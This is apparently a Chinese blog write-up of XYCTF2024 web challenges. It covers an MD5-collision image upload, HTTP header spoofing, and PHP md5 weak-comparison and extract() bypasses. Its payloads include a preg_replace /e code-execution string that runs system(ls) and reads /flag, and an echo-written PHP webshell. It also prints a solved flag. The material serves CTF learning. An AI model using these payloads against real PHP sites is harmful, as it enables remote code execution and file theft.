XYCTF2024

ezmd5

这题和之前的文件上传题有点不一样,有两个上传,先传入一句话木马,回显只能jpg,加GIF89a也不行,试到最后发现会检查jpg16进制文件头,但回显得页面很明显让传入的两个图片的MD5值相同
那么网上搜搜,感觉自己弄很难构造
传送门


这 2 张图像具有相同的 md5 哈希值:253dd04e87492e4fc3471de5e776bc3d

ezhttp

先看源码,注释说为了防止忘记密码,我把它们放在某个地方了
就不dirsearch了,直接搜常用的robots.txt
进入/l0g1n.txt
拿到账号密码
回到主页登录

  1. 不是 yuanshen.com 来的我不要
    referer头改为yuanshen.com

  2. 你用的不是XYCTF的浏览器
    ua头改为XYCTF

  3. 非本地用户禁止访问

添加x-forwarded-for:127.0.0.1

  1. xff 打咩!!!

xff头不许用
试了几个
换为client-ip:127.0.0.1

  1. 不是从 ymzx.qq.com 代理来的我不玩

via: ymzx.qq.com

  1. 有点饿,想吃点XYCTF的小饼干

Cookie: XYCTF

warm up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

第一个if用数组绕过

1
?val1[]=1&val2[]=2

第二个if,MD5怎么来的看extract($_GET)函数
理解为get输入变量md5
关于$md5 == md5($md5)
0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

1
?val1[]=1&val2[]=2&md5=0e215962017

第三个if
因为extract()函数,我们可以构造我们的参数
弱比较绕过

1
?val1[]=1&val2[]=2&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO

进入LLeeevvveeelll222.php

这里preg_replace有个漏洞可以命令执行
传送门

payload

1
2
3
?a=/(.*)/ei&b=strtolower("\\\1")&c={${phpinfo()}}
POST
a[]=

这里转义符闹麻了

1
?a=/(.*)/ei&b=strtolower("\\\1")&c={${system(ls)}}

这里也是单引号双引号都不能用
只能先无参rce

1
2
?a=/(.*)/ei&b=strtolower("\\\1")&c={${show_source(session_id(session_start()))}}
cookie: PHPSESSID=/flag

ezmake

输入命令,先尝试下常用的命令哪个可以用


发现echo命令可以正常使用
利用echo写一个一句话木马到文件中
post用不了不知道为啥
只能一句句爆了

1
echo  '<?php eval(system("ls"))?>' >1.php

进入路径1.php
禁用了斜杠,还好flag不在根目录中

1
2
echo  '<?php eval(system("cat flag"))?>' >1.php
//XYCTF{9b6e85c1-e504-4dd9-884a-b07481eb59cf}

这题预期解应该是用$SHELL来拿到flag内容


XYCTF2024
http://example.com/2024/04/10/XYCTF2024/
作者
奇怪的奇怪
发布于
2024年4月10日
许可协议